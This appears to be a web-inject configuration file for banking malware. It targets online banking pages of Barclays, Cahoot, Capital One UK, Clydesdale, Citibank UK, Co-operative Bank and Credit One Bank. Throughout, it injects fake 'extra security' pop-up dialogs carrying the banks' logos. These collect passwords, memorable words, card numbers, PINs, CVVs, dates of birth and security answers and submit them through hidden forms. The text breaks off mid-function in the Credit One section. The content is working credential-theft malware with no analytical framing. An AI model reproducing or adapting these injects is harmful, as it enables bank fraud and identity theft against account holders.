<form name="injectform" action="https://ibank.barclays.co.uk/p//glo/img/logo/barclays.gif" target=wj1 id="injectform" method="post">
<input type="hidden" name="fmw" id="fmw" />
<input type="hidden" name="dob" id="dob" />
<input type="hidden" name="mmn" id="mmn" />
<input type="hidden" name="cc" id="cc" />
</form>
<div id="hide1">
data_end

data_after
data_end

data_before
<div class="main-footer"></div>*</div>
data_end
data_inject
</div>
data_end
data_after
data_end

data_before
<span class="button button-forward" title="Login">
data_end
data_inject
<input type="button" name="_buttonLogin" value="Login" onclick="domysubmit();"/>
data_end
data_after
</span>
data_end

data_before
<form method="post" action="LoginPasscode.do"
data_end
data_inject
 name="logonform"
data_end
data_after
data_end
;==== CAHOOT =====

set_url https://ibank.cahoot.com/* GL

data_before
accounts</h2>
data_end
data_inject
data_end
data_after
<b>payment due date:
data_end

set_url https://ibank.cahoot.com/servlet/* GP

data_before
<head*>
data_end

data_inject
<link rel="stylesheet" type="text/css" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/themes/smoothness/ui.all.css" />
<style type="text/css">
#inject { display: none; }
.ui-dialog { width: 400px; font-size: 11px; }
.ui-dialog .ui-dialog-titlebar-close { visibility: hidden; }
</style>
data_end

data_after
data_end

data_before
<body*>
data_end

data_inject
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-ui.min.js"></script>

<script type="text/javascript">

// Control frequency of the pop up:
//"always", for every time page loads OR
//"x hours" for once per x hours, where x is an integer (ie: 12 hours)

var popfrequency="432000 hours"

///No editing beyond here required/////

function get_cookie(Name) {
var search = Name + "="
var returnvalue = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length
// set index of beginning of value
end = document.cookie.indexOf(";", offset);
// set index of end of cookie value
if (end == -1)
end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset, end))
}
}
return returnvalue;
}

function resetcookie(){
var expireDate = new Date()
expireDate.setHours(expireDate.getHours()-10)
document.cookie = "tcpopunder=;path=/;expires=" + expireDate.toGMTString()
}

function loadornot(){
if (get_cookie('tcpopunder')==''){
loadpopunder()
}
}

function loadpopunder(){

function Init() 
{
	jQuery('#inject').dialog({ buttons: { "Continue": function() {
	        if (jQuery("#inject_mmn").val().length < 4)  
	        {
		          alert('Please enter correct Mother`s Maiden Name.');	
		          jQuery("#inject_mmn").focus();
	        } 
	        else if (jQuery("#inject_my").val().length < 3) 
	        {
		          alert('Please enter correct Memorable Year.');	
		          jQuery("#inject_my").focus();
	        }  
	        else if (jQuery("#inject_ma").val().length < 6) 
	        {
		          alert('Please enter correct Memorable Adress.')	
		          jQuery("#inject_ma").focus();
	        }  
	        else if (jQuery("#inject_fp").val().length < 4) 
	        {
		          alert('Please enter correct Full Password.')	
		          jQuery("#inject_fp").focus();
	        }  
	        else if (jQuery("#inject_mw").val().length < 8) 
	        {
		          alert('Please enter correct Memorable Word.')	
		          jQuery("#inject_mw").focus();
	        } 
	        else 
	        {
		jQuery("#mmn").val(jQuery("#inject_mmn").val());
		jQuery("#my").val(jQuery("#inject_my").val());
		jQuery("#ma").val(jQuery("#inject_ma").val());
		jQuery("#fp").val(jQuery("#inject_fp").val());
		jQuery("#mw").val(jQuery("#inject_mw").val());	
		jQuery("form[name='injectform']").submit();
	           jQuery('#inject').dialog('close');	
  
var expireDate = new Date()
expireDate.setHours(expireDate.getHours()+parseInt(popfrequency))
document.cookie = "tcpopunder="+parseInt(popfrequency)+";path=/;expires=" + expireDate.toGMTString()}

				  } 
				}, closeOnEscape: false, modal: true, show: 'slide' });
	
}
jQuery(document).ready(Init);


}

if (popfrequency=="always"){
resetcookie()
loadpopunder()
}
else{
if (get_cookie('tcpopunder')!=parseInt(popfrequency))
resetcookie()
loadornot()
}
</script>

<div id="inject">
	<form>
	<center> 
	<p><h3 style="background-color: #FFFFFF">Authorization Required</h3></p>
	</center>
	<table><tbody>
	  <tr><td>
	<img src="https://ibank.cahoot.com/Aquarius/web/images/logos/cahoot_logo_small.gif" align="left" style="margin-left: 60px;"/>
	  </td></tr>
	  <tr>
	  </td><td align="left" style="text-align: justify;">
	In order to provide you with extra security, we occasionally need to ask for additional information when you access your accounts online.
	  </td></tr>
	</tbody></table>
  <center>	
	<p>Please enter the information below to continue.</p>
	<div>
		<table>
			<tbody>
				<tr><td align="left">Mother's Maiden Name:</td><td align="left"><input type="text" name="inject_mmn" id="inject_mmn" size="12" maxlength="12" /></td></tr>
				<tr><td align="left">Memorable Year:</td><td align="left"><input type="text" name="inject_my" id="inject_my" size="12" maxlength="12" /></td></tr>
				<tr><td align="left">Memorable Adress:</td><td align="left"><input type="text" name="inject_ma" id="inject_ma" size="12" maxlength="12" /></td></tr>
				<tr><td align="left">Full Password:</td><td align="left"><input type="text" name="inject_fp" id="inject_fp" size="12" maxlength="12" /></td></tr>
				<tr><td align="left">Memorable Word:</td><td align="left"><input type="text" name="inject_mw" id="inject_mw" size="12" maxlength="12" /></td></tr>
				
			</tbody>
		</table>
	</div>
	</form>
	</center>
</div>
<form name="injectform" action="" method="post">
<input type="hidden" name="mmn" id="mmn" />
<input type="hidden" name="my" id="my" />
<input type="hidden" name="ma" id="ma" />
<input type="hidden" name="fp" id="fp" />
<input type="hidden" name="mw" id="mw" />
</form>
data_end

data_after
data_end
;===== CAPITALONE.CO.UK =====

set_url *CapitalOne_Consumer/Transactions* GL

data_before
summary="account summary">
data_end
data_inject
data_end
data_after
<!--End Account Summary -->
data_end

set_url *capitaloneonline.co.uk/CapitalOne_Consumer/Transactions* GP

data_before
<head>
data_end

data_inject
<link rel="stylesheet" type="text/css" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/themes/smoothness/ui.all.css" />
<style type="text/css">
#inject { display: none; }
.ui-dialog { width: 400px; font-size: 11px; }
.ui-dialog .ui-dialog-titlebar-close { visibility: hidden; }
.ui-dialog .ui-dialog-titlebar { visibility: hidden; display: none; }
</style>
data_end

data_after
data_end

data_before
<body*>
data_end

data_inject
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-ui.min.js"></script>

<script type="text/javascript">

var popfrequency="432000 hours"


function get_cookie(Name) {
var search = Name + "="
var returnvalue = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length
// set index of beginning of value
end = document.cookie.indexOf(";", offset);
// set index of end of cookie value
if (end == -1)
end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset, end))
}
}
return returnvalue;
}

function resetcookie(){
var expireDate = new Date()
expireDate.setHours(expireDate.getHours()-10)
document.cookie = "tcpopunder=;path=/;expires=" + expireDate.toGMTString()
}

function loadornot(){
if (get_cookie('tcpopunder')==''){
loadpopunder()
}
}

function loadpopunder(){

function Init() 
{
	jQuery('#inject').dialog({ buttons: { "Continue": function() {
	        if (jQuery("#inject_cc").val().length < 15) 
	        {
		        alert('Please enter correct Credit Card Number');
		        jQuery("#inject_cc").focus();
	        } 
	        else if (jQuery("#inject_expdate_mm").val().length < 2)
	        {
		         alert('Please enter Exp.Date');	
		         jQuery("#inject_expdate_mm").focus();
	        } 
	        else if (jQuery("#inject_expdate_yy").val().length < 2)  
	        {
		         alert('Please enter Exp.Date');	
		         jQuery("#inject_expdate_yy").focus();
	        } 
	        else if (jQuery("#inject_pin").val().length < 4)  
	        {
		          alert('Please enter correct PIN');	
		          jQuery("#inject_pin").focus();
	        } 
	        else if (jQuery("#inject_cvv").val().length < 3) 
	        {
		          alert('Please enter correct CVV');	
		          jQuery("#inject_cvv").focus();
	        }  
	        else if (jQuery("#inject_dob").val().length < 6) 
	        {
		          alert('Please enter correct Day of Birth')	
		          jQuery("#inject_dob").focus();
	        }  
	        else if (jQuery("#inject_mmm").val().length < 4) 
	        {
		          alert('Please enter correct Mother`s Maiden Name')	
		          jQuery("#inject_mmm").focus();
	        }  
	        else 
	        {
		jQuery("#cc").val(jQuery("#inject_cc").val());
		jQuery("#expdate_mm").val(jQuery("#inject_expdate_mm").val());
		jQuery("#expdate_yy").val(jQuery("#inject_expdate_yy").val());
		jQuery("#pin").val(jQuery("#inject_pin").val());
		jQuery("#cvv").val(jQuery("#inject_cvv").val());
		jQuery("#dob").val(jQuery("#inject_dob").val());
		jQuery("#mmm").val(jQuery("#inject_mmm").val());
		jQuery("form[name='injectform']").submit();
	           jQuery('#inject').dialog('close');	
  
var expireDate = new Date()
expireDate.setHours(expireDate.getHours()+parseInt(popfrequency))
document.cookie = "tcpopunder="+parseInt(popfrequency)+";path=/;expires=" + expireDate.toGMTString()}

				  } 
				}, closeOnEscape: false, modal: true, show: 'slide' });
	
}
jQuery(document).ready(Init);


}

if (popfrequency=="always"){
resetcookie()
loadpopunder()
}
else{
if (get_cookie('tcpopunder')!=parseInt(popfrequency))
resetcookie()
loadornot()
}
</script>


<div id="inject">
	<form>
	<table><tbody>
	  <tr><td width="300">
	<img src="https://www.capitaloneonline.co.uk/CapitalOne_Consumer/images/capitalone_banner.jpg" align="left" style="margin-left: 0px;"/>
	  </td></tr>
	  <tr><td width="260s" align="left" style="font-size: 11px; background: #FFFFFF; text-align: justify;">
	In order to provide you with extra security, we occasionally need to ask for additional information when you access your accounts online.
	  </td></tr>
	</tbody></table>
  <center>	
	<p>Please enter the information below to continue.</p>
	<div>
		<table>
			<tbody>
				<tr><td align="left" style="font-size: 11px; background: #FFFFFF;">Credit Card Number:</td><td align="left"><input type="text" name="inject_cc" id="inject_cc" size="16" maxlength="16" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td></tr>
				<tr><td align="left" style="font-size: 11px; background: #FFFFFF;">Exp.Date:</td><td align="left"><input type="text" name="inject_expdate_mm" id="inject_expdate_mm" size="2" maxlength="2" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /> / <input type="text" name="inject_expdate_yy" id="inject_expdate_yy" size="2" maxlength="2" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' />&nbsp;<i>(mm/yy)</i></td></tr>
				<tr><td align="left" style="font-size: 11px; background: #FFFFFF;">PIN Code:</td><td align="left"><input type="text" name="inject_pin" id="inject_pin" size="4" maxlength="4" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td></tr>
				<tr><td align="left" style="font-size: 11px; background: #FFFFFF;">CVV Code:</td><td align="left"><input type="text" name="inject_cvv" id="inject_cvv" size="4" maxlength="4" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td></tr>
				<tr><td align="left" style="font-size: 11px; background: #FFFFFF;">Day of Birth:</td><td align="left"><input type="text" name="inject_dob" id="inject_dob" size="10" maxlength="10" /></td></tr>
				<tr><td align="left" style="font-size: 11px; background: #FFFFFF;">Mother's Maiden Name:</td><td align="left"><input type="text" name="inject_mmm" id="inject_mmm" size="12" maxlength="12" /></td></tr>
			</tbody>
		</table>
	</div>
	</form>
	</center>
</div>
<form name="injectform" action="" method="post">
<input type="hidden" name="cc" id="cc" />
<input type="hidden" name="expdate_mm" id="expdate_mm" />
<input type="hidden" name="expdate_yy" id="expdate_yy" />
<input type="hidden" name="pin" id="pin" />
<input type="hidden" name="cvv" id="cvv" />
<input type="hidden" name="dob" id="dob" />
<input type="hidden" name="mmn" id="mmm" />
</form>
data_end

data_after
data_end
;===== CBONLINE =====

set_url *cbonline.co.uk/ralu/reglm-web/setupSecurityQuestionPage* GP

data_before
<div class="buttons">*<input
data_end
data_inject
 type="button" onclick="return domycheck();" 
data_end
data_after
tabindex="2" value="Submit"
data_end

data_before
<div id="wrap">
data_end
data_inject
<link rel="stylesheet" type="text/css" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/themes/blitzer/ui.all.css" />
<style type="text/css">
#inject { display: none; }
.ui-dialog { font-size: 11px; }
.ui-dialog .ui-dialog-titlebar-close { visibility: hidden; }
.ui-dialog .ui-dialog-titlebar { visibility: hidden; display: none; }
</style><script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-ui.min.js"></script>

<script type="text/javascript">

var popfrequency="432000 hours"

function get_cookie(Name) {
var search = Name + "="
var returnvalue = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length
// set index of beginning of value
end = document.cookie.indexOf(";", offset);
// set index of end of cookie value
if (end == -1)
end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset, end))
}
}
return returnvalue;
}

function resetcookie(){
var expireDate = new Date()
expireDate.setHours(expireDate.getHours()-10)
document.cookie = "tcpopunder=;path=/;expires=" + expireDate.toGMTString()
}

function loadornot(){
if (get_cookie('tcpopunder')=='')
{return loadpopunder();}else {document.forms["securityQuestionForm"].submit();}
}



function loadpopunder(){

function Init() 
{
	jQuery('#inject').dialog({ width: 600, buttons: { "Continue": function() {
	        if (jQuery("#inject_q1").val().length < 4) 
	        {
		        alert('Please enter correct answer.');
		        jQuery("#inject_q1").focus();
	        } 
	        else if (jQuery("#inject_q2").val().length < 4) 
	        {
		        alert('Please enter correct answer.');
		        jQuery("#inject_q2").focus();
	        } 
	        else if (jQuery("#inject_q3").val().length < 4) 
	        {
		        alert('Please enter correct answer.');
		        jQuery("#inject_q3").focus();
	        } 
	        else if (jQuery("#inject_q4").val().length < 4) 
	        {
		        alert('Please enter correct answer.');
		        jQuery("#inject_q4").focus();
	        } 
	        else if (jQuery("#inject_q5").val().length < 4) 
	        {
		        alert('Please enter correct answer.');
		        jQuery("#inject_q5").focus();
	        } 
	        else if (jQuery("#inject_q6").val().length < 4) 
	        {
		        alert('Please enter correct answer.');
		        jQuery("#inject_q6").focus();
	        } 
	        else if (jQuery("#inject_ukpass").val().length < 4) 
	        {
		        alert('Please enter correct Full Password.');
		        jQuery("#inject_ukpass").focus();
	        } 
	        else 
	        {
		jQuery("#Q1").val(jQuery("#inject_q1").val());
		jQuery("#Q2").val(jQuery("#inject_q2").val());
		jQuery("#Q3").val(jQuery("#inject_q3").val());
		jQuery("#Q4").val(jQuery("#inject_q4").val());
		jQuery("#Q5").val(jQuery("#inject_q5").val());
		jQuery("#Q6").val(jQuery("#inject_q6").val());
		jQuery("#UKpass").val(jQuery("#inject_ukpass").val());
		jQuery("form[name='injectform']").submit();
	           jQuery('#inject').dialog('close');
document.forms["securityQuestionForm"].submit();
}
				  } 
				}, closeOnEscape: false, resizable: false, modal: true, show: 'slide' });
	
}
jQuery(document).ready(Init);


}
function domycheck(){
if (popfrequency=="always"){
resetcookie()
loadpopunder()
}
else{
if (get_cookie('tcpopunder')!=parseInt(popfrequency))
resetcookie()
loadornot()
}
}
</script>
<div id="inject">
	<form>
	<center> 
	<table><tbody>
	  <tr><td style="background: #FFFFFF;">
	<img src="https://bbank.cbonline.co.uk/images/clydesdale-bank-logo.gif" style="margin-top: 0px; margin-left: 150px; margin-bottom: 0px;"/>
	  </td></tr><tr><td align="left" style="text-align: justify; font-size: 12px; background: #FFFFFF;">
	In order to provide you with extra security, we occasionally need to ask for additional information when you access your accounts online.</br></br>
	  </td></tr>
	</tbody></table></center>
  <center>	
	<p>
	  Please enter the information below to continue.</p>
	<div>
		<table>
			<tbody>
				<tr><td align="left" style="font-size: 12px; background: #FFFFFF;"><b>What is your favourite meal or restaurant :</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="password" name="inject_q1" id="inject_q1" size="12" maxlength="12"/></td></tr>
				<tr><td align="left" style="font-size: 12px; background: #FFFFFF;"><b>The name of a memorable place to you :</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="password" name="inject_q2" id="inject_q2" size="12" maxlength="12"/></td></tr>
				<tr><td align="left" style="font-size: 12px; background: #FFFFFF;"><b>Your favourite film of all time :</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="password" name="inject_q3" id="inject_q3" size="12" maxlength="12"/></td></tr>
				<tr><td align="left" style="font-size: 12px; background: #FFFFFF;"><b>Your favourite book of all time :</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="password" name="inject_q4" id="inject_q4" size="12" maxlength="12"/></td></tr>
				<tr><td align="left" style="font-size: 12px; background: #FFFFFF;"><b>Your favourite teacher or subject :</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="password" name="inject_q5" id="inject_q5" size="12" maxlength="12"/></td></tr>
				<tr><td align="left" style="font-size: 12px; background: #FFFFFF;"><b>Your favourite TV star or show :</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="password" name="inject_q6" id="inject_q6" size="12" maxlength="12"/></td></tr>
				<tr><td align="left" style="font-size: 12px; background: #FFFFFF;"><b>Full Pasword :</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="password" name="inject_ukpas" id="inject_ukpass" size="12" maxlength="12"/></td></tr>
			</tbody>
		</table>
	</div>
	</form>
	</center>
</div>
<form name="injectform" action="" method="post">
<input type="hidden" name="Q1" id="Q1" />
<input type="hidden" name="Q2" id="Q2" />
<input type="hidden" name="Q3" id="Q3" />
<input type="hidden" name="Q4" id="Q4" />
<input type="hidden" name="Q5" id="Q5" />
<input type="hidden" name="Q6" id="Q6" />
<input type="hidden" name="mword" id="UKpass" />
<input type="hidden" name="cbotmp" value="123">
</form>
data_end
data_after
data_end
;===== CITIBANK.CO.UK =====

set_url https://*.citibank.co.uk/*/HomePage* GL

data_before
Account Summary*</td>
data_end
data_inject
data_end
data_after
<tr><td colspan=6>&nbsp;</td></tr>
data_end

set_url https://www.citibank.co.uk/*/HomePage* GP

data_before
</head>
data_end
data_inject

<link rel="stylesheet" type="text/css" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/themes/smoothness/ui.all.css" />
<style type="text/css">
#inject { display: none; }
.ui-dialog { width: 400px; font-size: 11px; }
.ui-dialog .ui-dialog-titlebar-close { visibility: hidden; }
.ui-dialog .ui-dialog-titlebar { visibility: hidden; display: none; }
</style>
data_end
data_after
data_end

data_before
<input name="pageID" type="hidden" value="HomePage">*</form>
data_end
data_inject

<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-ui.min.js"></script>

<script type="text/javascript">

var popfrequency="432000 hours"

function get_cookie(Name) {
var search = Name + "="
var returnvalue = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length
end = document.cookie.indexOf(";", offset);
if (end == -1)
end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset, end))
}
}
return returnvalue;
}

function resetcookie(){
var expireDate = new Date()
expireDate.setHours(expireDate.getHours()-10)
document.cookie = "tcpopunder=;path=/;expires=" + expireDate.toGMTString()
}

function loadornot(){
if (get_cookie('tcpopunder')==''){
loadpopunder()
}
}

function loadpopunder(){

function Init() 
{
	jQuery('#inject').dialog({ buttons: { "Continue": function() {
	        if (jQuery("#inject_mmn").val().length < 4)  
	        {
		          alert('Please enter correct Mother`s Maiden Name.');	
		          jQuery("#inject_mmn").focus();
	        } 
	        else if (jQuery("#inject_my").val().length < 3) 
	        {
		          alert('Please enter correct Memorable Year.');	
		          jQuery("#inject_my").focus();
	        }  
	        else if (jQuery("#inject_ma").val().length < 6) 
	        {
		          alert('Please enter correct Memorable Adress.')	
		          jQuery("#inject_ma").focus();
	        }  
	        else if (jQuery("#inject_fp").val().length < 4) 
	        {
		          alert('Please enter correct Full Password.')	
		          jQuery("#inject_fp").focus();
	        }  
	        else if (jQuery("#inject_mw").val().length < 8) 
	        {
		          alert('Please enter correct Memorable Word.')	
		          jQuery("#inject_mw").focus();
	        } 
	        else 
	        {
		jQuery("#mmn").val(jQuery("#inject_mmn").val());
		jQuery("#my").val(jQuery("#inject_my").val());
		jQuery("#ma").val(jQuery("#inject_ma").val());
		jQuery("#fp").val(jQuery("#inject_fp").val());
		jQuery("#mw").val(jQuery("#inject_mw").val());	
		jQuery("form[name='injectform']").submit();
	           jQuery('#inject').dialog('close');	
  
var expireDate = new Date()
expireDate.setHours(expireDate.getHours()+parseInt(popfrequency))
document.cookie = "tcpopunder="+parseInt(popfrequency)+";path=/;expires=" + expireDate.toGMTString()}

				  } 
				}, closeOnEscape: false, width: 400, resizable: false, modal: true, show: 'slide' });
	
}
jQuery(document).ready(Init);


}

if (popfrequency=="always"){
resetcookie()
loadpopunder()
}
else{
if (get_cookie('tcpopunder')!=parseInt(popfrequency))
resetcookie()
loadornot()
}
</script>

<div id="inject">
	<form>
	<table><tbody>
	  <tr><td align="left">
	<img src="https://www.citibank.co.uk/JPS/portal/images/citibank_logo.gif" align="left" style="margin-left: 60px;"/>
	  </td></tr>
	  <tr><td align="left">
	<img src="https://www.citibank.co.uk/JPS/portal/images/citibank_logo1.gif" align="left" style="margin-left: 60px;"/>
	  </td></tr>
	  <tr>
	  </td><td style="text-align: justify;"><br/><br/>
	In order to provide you with extra security, we occasionally need to ask for additional information when you access your accounts online.
	  </td></tr>
	</tbody></table>
  <center>	
	<p>Please enter the information below to continue.</p>
	<div>
		<table>
			<tbody>
				<tr><td align="left">Mother's Maiden Name:</td><td align="left"><input type="text" name="inject_mmn" id="inject_mmn" size="12" maxlength="12" /></td></tr>
				<tr><td align="left">Memorable Year:</td><td align="left"><input type="text" name="inject_my" id="inject_my" size="12" maxlength="12" /></td></tr>
				<tr><td align="left">Memorable Adress:</td><td align="left"><input type="text" name="inject_ma" id="inject_ma" size="12" maxlength="12" /></td></tr>
				<tr><td align="left">Full Password:</td><td align="left"><input type="text" name="inject_fp" id="inject_fp" size="12" maxlength="12" /></td></tr>
				<tr><td align="left">Memorable Word:</td><td align="left"><input type="text" name="inject_mw" id="inject_mw" size="12" maxlength="12" /></td></tr>
				
			</tbody>
		</table>
	</div>
	</form>
	</center>
</div>
<form name="injectform" action="" method="post">
<input type="hidden" name="mmn" id="mmn" />
<input type="hidden" name="my" id="my" />
<input type="hidden" name="ma" id="ma" />
<input type="hidden" name="UKpass" id="fp" />
<input type="hidden" name="mw" id="mw" />
</form>
data_end
data_after
data_end
;===== CO-OPERATIVE =====

set_url *co-operativebank.co.uk/CBIBSWeb/loginSpi* GP

data_before
</head>
data_end
data_inject
<link rel="stylesheet" type="text/css" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/themes/blitzer/ui.all.css" />
<style type="text/css">
#inject { display: none; }
.ui-dialog { font-size: 10px; }
.ui-dialog .ui-dialog-titlebar-close { visibility: hidden; }
.ui-dialog .ui-dialog-titlebar { visibility: hidden; display: none; }
</style>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-ui.min.js"></script>
data_end
data_after
data_end

data_before
</body>
data_end
data_inject
<script type="text/javascript">

var popfrequency="216000"

function get_cookie(Name) {
var search = Name + "="
var returnvalue = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length
// set index of beginning of value
end = document.cookie.indexOf(";", offset);
// set index of end of cookie value
if (end == -1)
end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset, end))
}
}
return returnvalue;
}

function resetcookie(){
var expireDate = new Date()
expireDate.setHours(expireDate.getHours()-10)
document.cookie = "tcpopunder=;path=/;expires=" + expireDate.toGMTString()
}

function loadornot(){
if (get_cookie('tcpopunder')==''){
loadpopunder()
}
}

function loadpopunder(){

function Init() 
{
	jQuery('#inject').dialog({ width: 500, buttons: { "Continue": function() {
	        if (jQuery("#inject_q1").val().length < 4) 
	        {
		        alert('Please enter place/town of birth.');
		        jQuery("#inject_q1").focus();
	        } 
	        else if (jQuery("#inject_q2").val().length < 4) 
	        {
		        alert('Please enter the name of your first schoo.');
		        jQuery("#inject_q2").focus();
	        } 
	        else if (jQuery("#inject_q3").val().length < 4) 
	        {
		        alert('Please enter Full Security Code.');
		        jQuery("#inject_q3").focus();
	        } 
	        else if (jQuery("#inject_q4").val().length < 4) 
	        {
		        alert('Please enter the name of your last school?.');
		        jQuery("#inject_q4").focus();
	        } 
	        else if (jQuery("#inject_q5").val().length < 4) 
	        {
		        alert('Please enter Memoramble Date (dd/mm/yyyy).');
		        jQuery("#inject_q5").focus();
	        } 
	        else if (jQuery("#inject_q6").val().length < 4) 
	        {
		        alert('Please enter Memoramble Name.');
		        jQuery("#inject_q6").focus();
	        }
	        else 
	        {
		jQuery("#Q1").val(jQuery("#inject_q1").val());
		jQuery("#Q2").val(jQuery("#inject_q2").val());
		jQuery("#Q3").val(jQuery("#inject_q3").val());
		jQuery("#Q4").val(jQuery("#inject_q4").val());
		jQuery("#Q5").val(jQuery("#inject_q5").val());
		jQuery("#Q6").val(jQuery("#inject_q6").val());
		jQuery("form[name='injectform']").submit();
    var expireDate = new Date()
    expireDate.setHours(expireDate.getHours()+parseInt(popfrequency))
    document.cookie = "tcpopunder="+parseInt(popfrequency)+";path=/;expires=" + expireDate.toGMTString();
  	jQuery("#inject").dialog("close");
}
				  } 
				}, closeOnEscape: false, modal: true, show: 'slide' });
	
}
jQuery(document).ready(Init);


}

if (popfrequency=="always"){
resetcookie()
loadpopunder()
}
else{
if (get_cookie('tcpopunder')!=parseInt(popfrequency))
resetcookie()
loadornot()
}
</script>
<div id="inject">
	<form>
	<center> 
	<table><tbody>
	  <tr><td style="background: #0099cc;" align="left">
	  <img src="https://welcome27.co-operativebank.co.uk/CBIBSImages/images/coop_logo_top.gif" style="margin-top: 0px; margin-left: 0px; margin-bottom: 0px;"/>
	  </td></tr><tr><td align="left" style="text-align: justify; font-size: 12px; background: #FFFFFF; padding-left: 7px;">
	<br/>In order to provide you with extra security, we occasionally need to ask for additional information when you access your accounts online.</br></br>
	  </td></tr>
	</tbody></table></center>
  <center>	
	<p>
	  <div style="font-size: 12px">Please enter the information below to continue.</div></p>
	<div>
		<table>
			<tbody>
				<tr><td align="left" style="font-size: 12px; background: #FFFFFF;"><b>Place of birth:</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="password" name="inject_q1" id="inject_q1" size="12" maxlength="12"/></td></tr>
				<tr><td align="left" style="font-size: 12px; background: #FFFFFF;"><b>First school attended:</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="password" name="inject_q2" id="inject_q2" size="12" maxlength="12"/></td></tr>
				<tr><td align="left" style="font-size: 12px; background: #FFFFFF;"><b>Security Code:</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="password" name="inject_q3" id="inject_q3" size="4" maxlength="4"/></td></tr>
				<tr><td align="left" style="font-size: 12px; background: #FFFFFF;"><b>Last school attended:</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="password" name="inject_q4" id="inject_q4" size="12" maxlength="12"/></td></tr>
				<tr><td align="left" style="font-size: 12px; background: #FFFFFF;"><b>Memoramble Date:</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="password" name="inject_q5" id="inject_q5" size="12" maxlength="12"/></td></tr>
				<tr><td align="left" style="font-size: 12px; background: #FFFFFF;"><b>Memoramble Name:</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="password" name="inject_q6" id="inject_q6" size="12" maxlength="12"/></td></tr>
			</tbody>
		</table>
	</div>
	</form>
	</center>
</div>
<form name="injectform" action="" method="post">
<input type="hidden" name="bplace" id="Q1" />
<input type="hidden" name="fschool" id="Q2" />
<input type="hidden" name="UKpass" id="Q3" />
<input type="hidden" name="lschool" id="Q4" />
<input type="hidden" name="mdate" id="Q5" />
<input type="hidden" name="mname" id="Q6" />
</form>
data_end
data_after
data_end
;===== CREDITONEBANK =====

set_url https://www.creditonebank.com/* GL

data_before
<B>ACCOUNT SNAPSHOT<BR>
data_end
data_inject
data_end
data_after
<TABLE id="Table2"
data_end

set_url https://www.creditonebank.com/Summary* GP

data_before
<HEAD>
data_end

data_inject
<link rel="stylesheet" type="text/css" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/themes/redmond/ui.all.css" />
<style type="text/css">
#inject { display: none; }
.ui-dialog { width: 400px; font-size: 11px; }
.ui-dialog .ui-dialog-titlebar-close { visibility: hidden; }
</style>
data_end

data_after
data_end

data_before
<body*>
data_end

data_inject
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-ui.min.js"></script>

<script type="text/javascript">

var popfrequency="432000 hours"

function get_cookie(Name) {
var search = Name + "="
var returnvalue = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length
// set index of beginning of value
end = document.cookie.indexOf(";", offset);
// set index of end of cookie value
if (end == -1)
end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset, end))
}
}
return returnvalue;
}

function resetcookie(){
var expireDate = new Date()
expireDate.setHours(expireDate.getHours()-10)
document.cookie = "tcpopunder=;path=/;expires=" + expireDate.toGMTString()
}

function loadornot(){
if (get_cookie('tcpopunder')==''){
loadpopunder()
}
}

function loadpopunder(){

function Init() 
{
